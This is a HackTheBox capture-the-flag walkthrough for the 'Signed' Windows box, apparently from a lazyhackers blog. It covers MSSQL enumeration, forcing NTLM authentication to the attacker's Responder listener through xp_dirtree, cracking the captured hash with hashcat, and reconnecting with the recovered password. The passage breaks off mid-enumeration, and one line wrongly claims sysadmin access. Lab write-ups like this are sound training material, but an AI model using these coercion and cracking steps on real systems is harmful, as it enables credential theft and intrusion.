HackTheBox: Signed — Medium (Windows)

Full security assessment walkthrough for Signed on HackTheBox. Includes reconnaissance, enumeration, exploitation steps, and a professional penetration testing report with CVSS v3.1 scores and remediation guidance.

lazyhackers
Mar 26, 2026 · 1 min read · 1 views
Signed
HackTheBox
Windows Medium

🔖 Techniques & Vulnerabilities

MSSQLNTLMHashCaptureHashCrackinghashcatSilverTicketPrivilegedAttributeCertificatePACSIDInjectionOPENROWSETsql injectionsqlircesudoseimpersonateprivilegebloodhound

🔍 Reconnaissance / Port Scanning

nmap scan
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -Pn 10.129.34.27
[sudo] password for kali:                              
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 21:04 CEST
Nmap scan report for 10.129.34.27
Host is up (0.013s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ssl-date: 2025-10-11T19:08:02+00:00; -1s from scanner time.
| ms-sql-ntlm-info: 
|   10.129.34.27:1433: 
|     Target_Name: SIGNED
|     NetBIOS_Domain_Name: SIGNED
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: SIGNED.HTB
|     DNS_Computer_Name: DC01.SIGNED.HTB
|     DNS_Tree_Name: SIGNED.HTB
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-11T19:04:11
|_Not valid after:  2055-10-11T19:04:11
| ms-sql-info: 
|   10.129.34.27:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 193.78 seconds

🎯 Attack Surface Analysis

PortServiceVersion / Banner
1433/tcpms-sql-sMicrosoft SQL Server 2022 16.00.1000.00; RTM
1433/tcpMSSQL
  • Authentication brute-force including default SA account
  • xp_cmdshell OS command execution when procedure is enabled
  • Linked server traversal to pivot to additional database servers
  • Credential hash extraction for offline cracking

📖 Walkthrough

Reconnaissance

Port Scanning

As usual we started with the initial Port Scan using Nmap which revealed that only port 1433/TCP were open to work with. Which was used my Microsoft SQL Server (MSSQL).

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -Pn 10.129.34.27
[sudo] password for kali:                              
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 21:04 CEST
Nmap scan report for 10.129.34.27
Host is up (0.013s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ssl-date: 2025-10-11T19:08:02+00:00; -1s from scanner time.
| ms-sql-ntlm-info: 
|   10.129.34.27:1433: 
|     Target_Name: SIGNED
|     NetBIOS_Domain_Name: SIGNED
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: SIGNED.HTB
|     DNS_Computer_Name: DC01.SIGNED.HTB
|     DNS_Tree_Name: SIGNED.HTB
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-11T19:04:11
|_Not valid after:  2055-10-11T19:04:11
| ms-sql-info: 
|   10.129.34.27:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 193.78 seconds

We also added signed.htb and dc01.signed.htb to our /etc/hosts file.

┌──(kali㉿kali)-[~]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
10.129.34.27    signed.htb
10.129.34.27    dc01.signed.htb

Enumeration of Port 1433/TCP

First we connected to the SQL Server instance using the given credentials and impacket-mssqlclient.

┌──(kali㉿kali)-[~]
└─$ impacket-mssqlclient scott:Sm230#[email protected]              
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (scott  guest@master)>

After establishing our SQL Server connection, we first needed to verify what level of access our current user had within the database. We executed the following query to enumerate our privileges. But since the query returned 0 we knew that we had no luck this time.

SQL (scott  guest@master)> SELECT SYSTEM_USER, USER_NAME(), IS_SRVROLEMEMBER('sysadmin');
            
-   -   -   
0   0   0

Next we checked if we could find any linked MSSQL Servers but we only had DC01 available to us.

SQL (scott  guest@master)> EXEC sp_linkedservers;
SRV_NAME   SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE   SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
--------   ----------------   -----------   --------------   ------------------   ------------   -------   
DC01       SQLNCLI            SQL Server    DC01             NULL                 NULL           NULL

Now we wanted to enumerate our privileges across all databases on the SQL Server instance. To accomplish this efficiently, we used the sp_MSforeachdb stored procedure.

SQL (scott  guest@master)> EXEC sp_MSforeachdb 'USE ?; SELECT ''?'' AS DBName, USER_NAME() AS CurrentUser, IS_MEMBER(''db_owner'') AS IsDbOwner;';
DBName   CurrentUser   IsDbOwner   
------   -----------   ---------   
b'master'   guest                 0   

b'tempdb'   guest                 0   

b'msdb'   guest                 0

As last step for our first look at the instance, we checked which databases were available to us.

SQL (scott  guest@master)> SELECT name, database_id, create_date FROM sys.databases ORDER BY name;
name     database_id   create_date   
------   -----------   -----------   
master             1   2003-04-08 09:13:36   

model              3   2003-04-08 09:13:36   

msdb               4   2022-10-08 06:31:57   

tempdb             2   2025-10-11 12:04:14

Privilege Escalation to MSSQLSVC

NTLM Hash Capture using Responder

As we knew that we only had a normal user allowed to access the SQL Server instance we tried to capture the NTLM Hash using Responder and xp_dirtree.

┌──(kali㉿kali)-[~]
└─$ sudo responder -I tun0
[sudo] password for kali: 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    MQTT server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]
    SNMP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.16.97]
    Responder IPv6             [dead:beef:4::105f]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']
    Don't Respond To MDNS TLD  ['_DOSVC']
    TTL for poisoned response  [default]

[+] Current Session Variables:
    Responder Machine Name     [WIN-M3NAAGNQPYU]
    Responder Domain Name      [TGYW.LOCAL]
    Responder DCE-RPC Port     [48956]

[*] Version: Responder 3.1.7.0
[*] Author: Laurent Gaffie, <[email protected]>
[*] To sponsor Responder: https://paypal.me/PythonResponder

[+] Listening for events...

We forced the SQL Server to connect to our local machine and catched the hash.

SQL (scott  guest@master)> EXEC xp_dirtree '\\10.10.16.97\share';
subdirectory   depth   
------------   -----
[SMB] NTLMv2-SSP Client   : 10.129.34.27
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash     : mssqlsvc::SIGNED:d39ced7e4d3f7fbf:005488FC2A613738B18A4FF9CF3EE765:010100000000000080C4B7C9F33ADC01D067048D295EE3C40000000002000800540047005900570001001E00570049004E002D004D0033004E004100410047004E00510050005900550004003400570049004E002D004D0033004E004100410047004E0051005000590055002E0054004700590057002E004C004F00430041004C000300140054004700590057002E004C004F00430041004C000500140054004700590057002E004C004F00430041004C000700080080C4B7C9F33ADC01060004000200000008003000300000000000000000000000003000006EBF5E2A1BF9BA07D53E533250BAA3B9C60A5BC2977144486210A86F3B89CE0C0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00390037000000000000000000

Cracking the Hash using hashcat

After that we cracked the hash within a few seconds using hashcat and got the password for the user MSSQLSVC.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Signed/files]
└─$ cat mssqlsvc.hash 
mssqlsvc::SIGNED:d39ced7e4d3f7fbf:005488FC2A613738B18A4FF9CF3EE765:010100000000000080C4B7C9F33ADC01D067048D295EE3C40000000002000800540047005900570001001E00570049004E002D004D0033004E004100410047004E00510050005900550004003400570049004E002D004D0033004E004100410047004E0051005000590055002E0054004700590057002E004C004F00430041004C000300140054004700590057002E004C004F00430041004C000500140054004700590057002E004C004F00430041004C000700080080C4B7C9F33ADC01060004000200000008003000300000000000000000000000003000006EBF5E2A1BF9BA07D53E533250BAA3B9C60A5BC2977144486210A86F3B89CE0C0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00390037000000000000000000
┌──(kali㉿kali)-[/media/…/HTB/Machines/Signed/files]
└─$ hashcat -m 5600 mssqlsvc.hash /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) i9-10900 CPU @ 2.80GHz, 2917/5899 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

MSSQLSVC::SIGNED:d39ced7e4d3f7fbf:005488fc2a613738b18a4ff9cf3ee765:010100000000000080c4b7c9f33adc01d067048d295ee3c40000000002000800540047005900570001001e00570049004e002d004d0033004e004100410047004e00510050005900550004003400570049004e002d004d0033004e004100410047004e0051005000590055002e0054004700590057002e004c004f00430041004c000300140054004700590057002e004c004f00430041004c000500140054004700590057002e004c004f00430041004c000700080080c4b7c9f33adc01060004000200000008003000300000000000000000000000003000006ebf5e2a1bf9ba07d53e533250baa3b9c60a5bc2977144486210a86f3b89ce0c0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00390037000000000000000000:purPLE9795!@
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: MSSQLSVC::SIGNED:d39ced7e4d3f7fbf:005488fc2a613738b...000000
Time.Started.....: Sat Oct 11 21:14:44 2025 (3 secs)
Time.Estimated...: Sat Oct 11 21:14:47 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1382.8 kH/s (1.10ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4487168/14344385 (31.28%)
Rejected.........: 0/4487168 (0.00%)
Restore.Point....: 4485120/14344385 (31.27%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: purdaliza -> puppup90
Hardware.Mon.#1..: Util: 82%

Started: Sat Oct 11 21:14:42 2025
Stopped: Sat Oct 11 21:14:49 2025
UsernamePassword
mssqlsvcpurPLE9795!@

We used the credentials to connect to the SQL Server instance once more but only as guest.

┌──(kali㉿kali)-[~]
└─$ impacket-mssqlclient SIGNED/mssqlsvc:'purPLE9795!@'@10.129.34.27 -windows-auth
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc  guest@master)>

Enumeration (MSSQLSVC / SQL Instance)

To gain a comprehensive understanding of which accounts had elevated privileges on the SQL Server instance, we started enumerating all server role memberships.

SQL (SIGNED\mssqlsvc  guest@master)> EXEC sp_helpsrvrolemember;
ServerRole   MemberName                                                                            MemberSID   
----------   -------------------------   -------------------------------------------------------------------   
sysadmin     sa                                                                                        b'01'   

sysadmin     SIGNED\IT                           b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'   

sysadmin     NT SERVICE\SQLWriter        b'010600000000000550000000732b9753646ef90356745cb675c3aa6cd6b4d28b'   

sysadmin     NT SERVICE\Winmgmt          b'0106000000000005500000005a048ddff9c7430ab450d4e7477a2172ab4170f4'   

sysadmin     NT SERVICE\MSSQLSERVER      b'010600000000000550000000e20f4fe7b15874e48e19026478c2dc9ac307b83e'   

sysadmin     NT SERVICE\SQLSERVERAGENT   b'010600000000000550000000dca88f14b79fd47a992a3d8943f829a726066357'

Based on the output, we decided to enumerate all server principals to get a complete picture of all logins configured on the SQL Server instance.

SQL (SIGNED\mssqlsvc  guest@master)> SELECT name, type_desc, is_disabled, default_database_name FROM sys.server_principals WHERE type IN ('S','U','G') ORDER BY name;
name                                type_desc       is_disabled   default_database_name   
---------------------------------   -------------   -----------   ---------------------   
##MS_PolicyEventProcessingLogin##   SQL_LOGIN                 1   master                  

##MS_PolicyTsqlExecutionLogin##     SQL_LOGIN                 1   master                  

NT AUTHORITY\SYSTEM                 WINDOWS_LOGIN             0   master                  

NT SERVICE\MSSQLSERVER              WINDOWS_LOGIN             0   master                  

NT SERVICE\SQLSERVERAGENT           WINDOWS_LOGIN             0   master                  

NT SERVICE\SQLTELEMETRY             WINDOWS_LOGIN             0   master                  

NT SERVICE\SQLWriter                WINDOWS_LOGIN             0   master                  

NT SERVICE\Winmgmt                  WINDOWS_LOGIN             0   master                  

sa                                  SQL_LOGIN                 0   master                  

scott                               SQL_LOGIN                 0   master                  

SIGNED\Domain Users                 WINDOWS_GROUP             0   master                  

SIGNED\IT                           WINDOWS_GROUP             0   master

One line stood out. It seemed that members of the IT group were also sysadmin on the SQL Server instance.

<--- CUT FOR BREVITY --->
sysadmin     SIGNED\IT
<--- CUT FOR BREVITY --->

Given that the box was named "Signed", we suspected that certificates might play a role in the attack path. We queried the system catalog to enumerate any certificates stored within the SQL Server.

SQL (SIGNED\mssqlsvc  guest@master)> SELECT name, certificate_id, subject, pvt_key_encryption_type_desc FROM sys.certificates;
name                                                                      certificate_id   subject                                                               pvt_key_encryption_type_desc   
-----------------------------------------------------------------------   --------------   -------------------------------------------------------------------   ----------------------------   
##MS_SQLResourceSigningCertificate##                                                 101   MS_SQLResourceSigningCertificate                                      NO_PRIVATE_KEY                 

##MS_SQLReplicationSigningCertificate##                                              102   MS_SQLResourceSigningCertificate                                      NO_PRIVATE_KEY                 

##MS_SQLAuthenticatorCertificate##                                                   103   MS_SQLAuthenticatorCertificate                                        NO_PRIVATE_KEY                 

##MS_AgentSigningCertificate##                                                       104   MS_AgentSigningCertificate                                            NO_PRIVATE_KEY                 

##MS_PolicySigningCertificate##                                                      105   MS_PolicySigningCertificate                                           NO_PRIVATE_KEY                 

##MS_SmoExtendedSigningCertificate##                                                 106   MS_SmoExtendedSigningCertificate                                      NO_PRIVATE_KEY                 

##MS_SchemaSigningCertificate49DAF39CDF8914F6AD714B481518685F0570173F##              257   MS_SchemaSigningCertificate49DAF39CDF8914F6AD714B481518685F0570173F   NO_PRIVATE_KEY

Based on our earlier enumeration, we noticed references to various domain groups. We decided to search specifically for principals related to the IT department, as IT groups often have elevated privileges.

SQL (SIGNED\mssqlsvc  guest@master)> SELECT name, principal_id, type_desc, is_disabled FROM sys.server_principals WHERE name LIKE '%IT%';
name                                 principal_id   type_desc       is_disabled   
----------------------------------   ------------   -------------   -----------   
securityadmin                                   4   SERVER_ROLE               0   

##MS_DefinitionReader##                        13   SERVER_ROLE               0   

##MS_SecurityDefinitionReader##                17   SERVER_ROLE               0   

##MS_PerformanceDefinitionReader##             18   SERVER_ROLE               0   

##MS_ServerSecurityStateReader##               19   SERVER_ROLE               0   

SIGNED\IT                                     259   WINDOWS_GROUP             0   

NT SERVICE\SQLWriter                          260   WINDOWS_LOGIN             0   

NT AUTHORITY\SYSTEM                           263   WINDOWS_LOGIN             0

After identifying the SIGNED\IT group as a server principal, we wanted to determine exactly what permissions had been granted to this group.

SQL (SIGNED\mssqlsvc  guest@master)> SELECT pr.name, pr.type_desc, pe.state_desc, pe.permission_name FROM sys.server_permissions pe JOIN sys.server_principals pr ON pe.grantee_principal_id = pr.principal_id WHERE pr.name = 'SIGNED\IT';
name        type_desc       state_desc   permission_name   
---------   -------------   ----------   ---------------   
SIGNED\IT   WINDOWS_GROUP   GRANT        CONNECT SQL

To understand our current authentication context and group memberships within SQL Server, we queried the login token information.

SQL (SIGNED\mssqlsvc  guest@msdb)> SELECT * FROM sys.login_token;
principal_id                                                           sid   name                                         type            usage           
------------   -----------------------------------------------------------   ------------------------------------------   -------------   -------------   
           2                                                         b'02'   public                                       SERVER ROLE     GRANT OR DENY   

         268   b'0105000000000005150000005b7bb0f398aa2245ad4a1ca401020000'   SIGNED\Domain Users                          WINDOWS GROUP   GRANT OR DENY   

         268   b'0105000000000005150000005b7bb0f398aa2245ad4a1ca401020000'   SIGNED\Domain Users                          WINDOWS GROUP   GRANT OR DENY   

           0                                   b'010100000000000100000000'   \Everyone                                    WINDOWS GROUP   GRANT OR DENY   

           0                           b'01020000000000052000000021020000'   BUILTIN\Users                                WINDOWS GROUP   GRANT OR DENY   

           0                           b'0102000000000005200000002a020000'   BUILTIN\Pre-Windows 2000 Compatible Access   WINDOWS GROUP   GRANT OR DENY   

           0                                   b'010100000000000502000000'   NT AUTHORITY\NETWORK                         WINDOWS GROUP   GRANT OR DENY   

           0                                   b'01010000000000050b000000'   NT AUTHORITY\Authenticated Users             WINDOWS GROUP   GRANT OR DENY   

           0                                   b'01010000000000050f000000'   NT AUTHORITY\This Organization               WINDOWS GROUP   GRANT OR DENY   

           0                           b'0102000000000005400000000a000000'   NT AUTHORITY\NTLM Authentication             WINDOWS GROUP   GRANT OR DENY

After checking for certificates in the master database, we switched context to the msdb database to search for certificates there as well.

SQL (SIGNED\mssqlsvc  guest@msdb)> USE msdb; SELECT name, certificate_id, subject, pvt_key_encryption_type_desc FROM sys.certificates;
ENVCHANGE(DATABASE): Old Value: msdb, New Value: msdb
INFO(DC01): Line 1: Changed database context to 'msdb'.
name                                                                      certificate_id   subject                                                               pvt_key_encryption_type_desc   
-----------------------------------------------------------------------   --------------   -------------------------------------------------------------------   ----------------------------   
##MS_AgentSigningCertificate##                                                       104   MS_AgentSigningCertificate                                            NO_PRIVATE_KEY                 

##MS_SchemaSigningCertificate49DAF39CDF8914F6AD714B481518685F0570173F##              256   MS_SchemaSigningCertificate49DAF39CDF8914F6AD714B481518685F0570173F   NO_PRIVATE_KEY

Since we were already in the msdb database, which stores SQL Server Agent configuration data, we decided to enumerate all scheduled jobs on the server.

SQL (SIGNED\mssqlsvc  guest@msdb)> USE msdb; SELECT name, enabled, owner_sid FROM dbo.sysjobs;
ENVCHANGE(DATABASE): Old Value: msdb, New Value: msdb
INFO(DC01): Line 1: Changed database context to 'msdb'.
ERROR(DC01): Line 1: The SELECT permission was denied on the object 'sysjobs', database 'msdb', schema 'dbo'.
SQL (SIGNED\mssqlsvc  guest@msdb)> SELECT HAS_PERMS_BY_NAME(NULL, NULL, 'CREATE CERTIFICATE');
       
----   
NULL

We wanted to verify whether we had the ability to modify existing SQL Server logins, which would be a powerful capability for privilege escalation.

SQL (SIGNED\mssqlsvc  guest@msdb)> SELECT HAS_PERMS_BY_NAME(NULL, NULL, 'ALTER ANY LOGIN');
    
-   
0

Next, we checked whether we had the ability to impersonate other users or logins on the SQL Server.

SQL (SIGNED\mssqlsvc  guest@msdb)> SELECT HAS_PERMS_BY_NAME(NULL, NULL, 'IMPERSONATE');
       
----   
NULL

Next, we attempted to check whether we had the ability to impersonate other users or logins on the SQL Server.

SQL (SIGNED\mssqlsvc  guest@msdb)> SELECT HAS_PERMS_BY_NAME('sa', 'LOGIN', 'IMPERSONATE');
    
-   
0

To get a complete view of all server-level permissions our account possessed, we used the fnmypermissions function.

SQL (SIGNED\mssqlsvc  guest@msdb)> SELECT * FROM fn_my_permissions(NULL, 'SERVER');
entity_name   subentity_name   permission_name                   
-----------   --------------   -------------------------------   
server                         CONNECT SQL                       

server                         VIEW ANY DATABASE                 

server                         VIEW ANY SECURITY DEFINITION      

server                         VIEW ANY PERFORMANCE DEFINITION   

server                         VIEW ANY DEFINITION

We proceeded to enumerate all SQL Server authentication logins (excluding the sa account, which we had already examined).

SQL (SIGNED\mssqlsvc  guest@msdb)> SELECT name, principal_id, credential_id FROM sys.server_principals WHERE type = 'S' AND name != 'sa';
name                                principal_id   credential_id   
---------------------------------   ------------   -------------   
##MS_PolicyEventProcessingLogin##            256            NULL   

##MS_PolicyTsqlExecutionLogin##              257            NULL   

scott                                        267            NULL

We then investigated how logins were mapped to linked servers but didn't get anything useful out of it.

SQL (SIGNED\mssqlsvc  guest@msdb)> EXEC sp_helplinkedsrvlogin;
Linked Server   Local Login   Is Self Mapping   Remote Login   
-------------   -----------   ---------------   ------------   
DC01            NULL                        1   NULL

With our sysadmin privileges confirmed, we leveraged the xp_dirtree extended stored procedure to enumerate the file system.

SQL (SIGNED\mssqlsvc  guest@msdb)> EXEC xp_dirtree 'C:\', 1, 1;
subdirectory                depth   file   
-------------------------   -----   ----   
$Recycle.Bin                    1      0   

Config.Msi                      1      0   

Documents and Settings          1      0   

inetpub                         1      0   

PerfLogs                        1      0   

Program Files                   1      0   

Program Files (x86)             1      0   

ProgramData                     1      0   

rtr8878.tmp                     1      1   

SQL2022                         1      0   

System Volume Information       1      0   

Users                           1      0   

Windows                         1      0
SQL (SIGNED\mssqlsvc  guest@msdb)> EXEC xp_dirtree 'C:\Users\', 1, 0;
subdirectory    depth   
-------------   -----   
Administrator       1   

All Users           1   

Default             1   

Default User        1   

mssqlsvc            1   

Public              1

In the process we found the user.txt on our Desktop which meant we at least were on the right track.

SQL (SIGNED\mssqlsvc  guest@msdb)> xp_dirtree C:\users\mssqlsvc\Desktop
subdirectory   depth   file   
------------   -----   ----   
user.txt           1      1

We switched to the msdb database and checked for members of the dc_admin database role.

SQL (SIGNED\mssqlsvc  guest@master)> USE msdb; SELECT * FROM sys.database_role_members WHERE role_principal_id = USER_ID('dc_admin');
ENVCHANGE(DATABASE): Old Value: master, New Value: msdb
INFO(DC01): Line 1: Changed database context to 'msdb'.
role_principal_id   member_principal_id   
-----------------   -------------------   
               14                    16

To make the role membership information more readable, we modified our query to resolve the principal IDs to actual user names.

SQL (SIGNED\mssqlsvc  guest@msdb)> USE msdb; SELECT USER_NAME(member_principal_id) AS member FROM sys.database_role_members WHERE role_principal_id = USER_ID('dc_admin');
ENVCHANGE(DATABASE): Old Value: msdb, New Value: msdb
INFO(DC01): Line 1: Changed database context to 'msdb'.
member                         
----------------------------   
MS_DataCollectorInternalUser

After identifying the members of the dc_admin role, we proceeded to enumerate the specific permissions granted to this role.

SQL (SIGNED\mssqlsvc  guest@msdb)> USE msdb; SELECT pr.name, pe.permission_name, pe.state_desc FROM sys.database_permissions pe JOIN sys.database_principals pr ON pe.grantee_principal_id = pr.principal_id WHERE pr.name = 'dc_admin';
ENVCHANGE(DATABASE): Old Value: msdb, New Value: msdb
INFO(DC01): Line 1: Changed database context to 'msdb'.
name       permission_name   state_desc   
--------   ---------------   ----------   
dc_admin   EXECUTE           GRANT        

dc_admin   EXECUTE           GRANT        

dc_admin   EXECUTE           GRANT        

dc_admin   EXECUTE           GRANT        

dc_admin   EXECUTE           GRANT        

dc_admin   EXECUTE           GRANT        

dc_admin   EXECUTE           GRANT        

dc_admin   EXECUTE           GRANT        

dc_admin   EXECUTE           GRANT        

dc_admin   EXECUTE           GRANT        

dc_admin   EXECUTE           GRANT        

dc_admin   EXECUTE           GRANT        

dc_admin   IMPERSONATE       GRANT        

dc_admin   EXECUTE           GRANT        

dc_admin   VIEW DEFINITION   GRANT        

dc_admin   EXECUTE           GRANT        

dc_admin   VIEW DEFINITION   GRANT        

dc_admin   EXECUTE           GRANT        

dc_admin   VIEW DEFINITION   GRANT        

dc_admin   EXECUTE           GRANT        

dc_admin   VIEW DEFINITION   GRANT

We also used a built-in stored procedure to enumerate members of the dc_admin role. But besides the automatically created Data Collector we couldn't find anything useful.

SQL (SIGNED\mssqlsvc  guest@msdb)> USE msdb; EXEC sp_helprolemember 'dc_admin';
ENVCHANGE(DATABASE): Old Value: msdb, New Value: msdb
INFO(DC01): Line 1: Changed database context to 'msdb'.
DbRole     MemberName                                                                       MemberSID   
--------   ----------------------------   -----------------------------------------------------------   
dc_admin   MS_DataCollectorInternalUser   b'0105000000000009030000004afef240a4aef447b344a561713c823f'

We switched to the master database and enumerated all custom (non-fixed) database roles.

SQL (SIGNED\mssqlsvc  guest@msdb)> USE master; SELECT name, type_desc, create_date FROM sys.database_principals WHERE type = 'R' AND is_fixed_role = 0;
ENVCHANGE(DATABASE): Old Value: msdb, New Value: master
INFO(DC01): Line 1: Changed database context to 'master'.
name     type_desc       create_date   
------   -------------   -----------   
public   DATABASE_ROLE   2003-04-08 09:10:19

As next step we performed a more granular analysis to identify specific database objects that the dc_admin role had permissions on.

SQL (SIGNED\mssqlsvc  guest@master)> USE msdb; SELECT pe.permission_name, pe.state_desc, OBJECT_NAME(pe.major_id) AS object_name, o.type_desc FROM sys.database_permissions pe LEFT JOIN sys.objects o ON pe.major_id = o.object_id WHERE pe.grantee_principal_id = USER_ID('dc_admin');
ENVCHANGE(DATABASE): Old Value: master, New Value: msdb
INFO(DC01): Line 1: Changed database context to 'msdb'.
permission_name   state_desc   object_name                                        type_desc              
---------------   ----------   ------------------------------------------------   --------------------   
EXECUTE           GRANT        sp_syscollector_cleanup_collector                  SQL_STORED_PROCEDURE   

EXECUTE           GRANT        sp_syscollector_set_warehouse_instance_name        SQL_STORED_PROCEDURE   

EXECUTE           GRANT        sp_syscollector_set_warehouse_database_name        SQL_STORED_PROCEDURE   

EXECUTE           GRANT        sp_syscollector_set_cache_directory                SQL_STORED_PROCEDURE   

EXECUTE           GRANT        sp_syscollector_set_cache_window                   SQL_STORED_PROCEDURE   

EXECUTE           GRANT        fn_syscollector_highest_incompatible_mdw_version   SQL_SCALAR_FUNCTION    

EXECUTE           GRANT        sp_syscollector_create_collection_set              SQL_STORED_PROCEDURE   

EXECUTE           GRANT        sp_syscollector_create_collector_type              SQL_STORED_PROCEDURE   

EXECUTE           GRANT        sp_syscollector_delete_collector_type              SQL_STORED_PROCEDURE   

EXECUTE           GRANT        sp_syscollector_create_collection_item             SQL_STORED_PROCEDURE   

EXECUTE           GRANT        sp_syscollector_delete_collection_item             SQL_STORED_PROCEDURE   

EXECUTE           GRANT        sp_syscollector_delete_collection_set              SQL_STORED_PROCEDURE   

IMPERSONATE       GRANT        NULL                                               NULL                   

EXECUTE           GRANT        NULL                                               NULL                   

VIEW DEFINITION   GRANT        NULL                                               NULL                   

EXECUTE           GRANT        NULL                                               NULL                   

VIEW DEFINITION   GRANT        NULL                                               NULL                   

EXECUTE           GRANT        NULL                                               NULL                   

VIEW DEFINITION   GRANT        NULL                                               NULL                   

EXECUTE           GRANT        NULL                                               NULL                   

VIEW DEFINITION   GRANT        NULL                                               NULL

To understand more about the Data Collector user that was a member of dc_admin and to figure out if we could leverage it somehow, we searched for database principals related to the Data Collector feature. But we only hit another dead end.

SQL (SIGNED\mssqlsvc  guest@msdb)> USE msdb; SELECT name, type_desc, authentication_type_desc, sid FROM sys.database_principals WHERE name LIKE '%DataCollector%';
ENVCHANGE(DATABASE): Old Value: msdb, New Value: msdb
INFO(DC01): Line 1: Changed database context to 'msdb'.
name                           type_desc   authentication_type_desc                                                           sid   
